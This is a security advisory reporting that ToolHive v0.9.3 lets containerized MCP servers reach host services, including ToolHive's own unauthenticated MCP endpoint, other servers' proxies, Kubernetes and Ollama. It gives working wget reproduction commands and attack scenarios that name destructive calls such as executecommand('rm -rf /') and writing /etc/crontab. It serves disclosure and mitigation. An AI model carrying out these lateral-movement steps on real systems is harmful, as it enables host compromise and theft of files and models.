Summary
A containerized MCP server running with the default network permission profile (insecureallowall: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.
Severity
High — This bypasses the container isolation model that is ToolHive's core security value proposition.
Reproduction
All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.
1. Container can reach the ToolHive control plane MCP endpoint
bash $ docker exec <containerid> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \ http://host.docker.internal:50444/mcp
Result: Full MCP handshake succeeds: json {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}
2. Container can connect to another MCP server's proxy and call its tools
bash $ docker exec <containerid> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \ http://host.docker.internal:64965/mcp
Result: Returns the full tool list of the target MCP server (readfile, writefile, editfile, movefile, etc.), and tools can be called:
json {"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}
3. Container can reach other host services
bash Kubernetes API $ docker exec <containerid> wget -qO- --no-check-certificate https://host.docker.internal:6443/version {"major":"1","minor":"34","gitVersion":"v1.34.1"...}
Ollama LLM API $ docker exec <containerid> wget -qO- http://host.docker.internal:11434/api/tags {"models":[{"name":"kimi-k2:1t-cloud"...}]}
Attack Scenarios
Scenario 1: Malicious MCP server pivots to privileged native MCP tools
Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have executecommand, writefile, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:
1. Port-scan host.docker.internal to discover listening services 2. Attempt MCP handshakes on discovered ports 3. Call privileged tools (e.g., executecommand("rm -rf /") or writefile("/etc/crontab", "..."))
This achieves full host compromise without any container escape vulnerability.
Scenario 2: Compromised MCP server manipulates ToolHive itself
Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:
- List and stop other running MCP servers (denial of service) - Start new MCP servers with attacker-controlled images - Modify configurations
Scenario 3: Data exfiltration via cross-MCP-server access
A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call readfile to access files it was never authorized to see.
Scenario 4: LLM model theft / abuse
As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.
Root Causes
1. insecureallowall: true as default — permits outbound connections to any destination including host.docker.internal 2. No authentication on ToolHive API / MCP proxies — any client that can reach the port can interact fully 3. Docker's host.docker.internal DNS — resolves to the host machine, bypassing localhost-only binding assumptions
Suggested Mitigations
Short-term
- Block host.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecureallowall is enabled. These should require explicit opt-in. - Add authentication to MCP proxy endpoints — even a shared secret or token per session would prevent cross-container lateral movement.
Medium-term
- Network policy per container — ToolHive already has the permissionprofile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice. - Isolate container networks — run each MCP server in its own Docker network with no access to the Docker bridge gateway.
Long-term
- Mutual TLS or token-based auth between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected. - Audit logging — log all MCP tool calls with source identification so lateral movement attempts are visible.
Environment
- ToolHive v0.9.3 (macOS desktop app, Docker runtime) - Docker Desktop for Mac (host.docker.internal enabled by default) - Tested with docker.io/mcp/filesystem:latest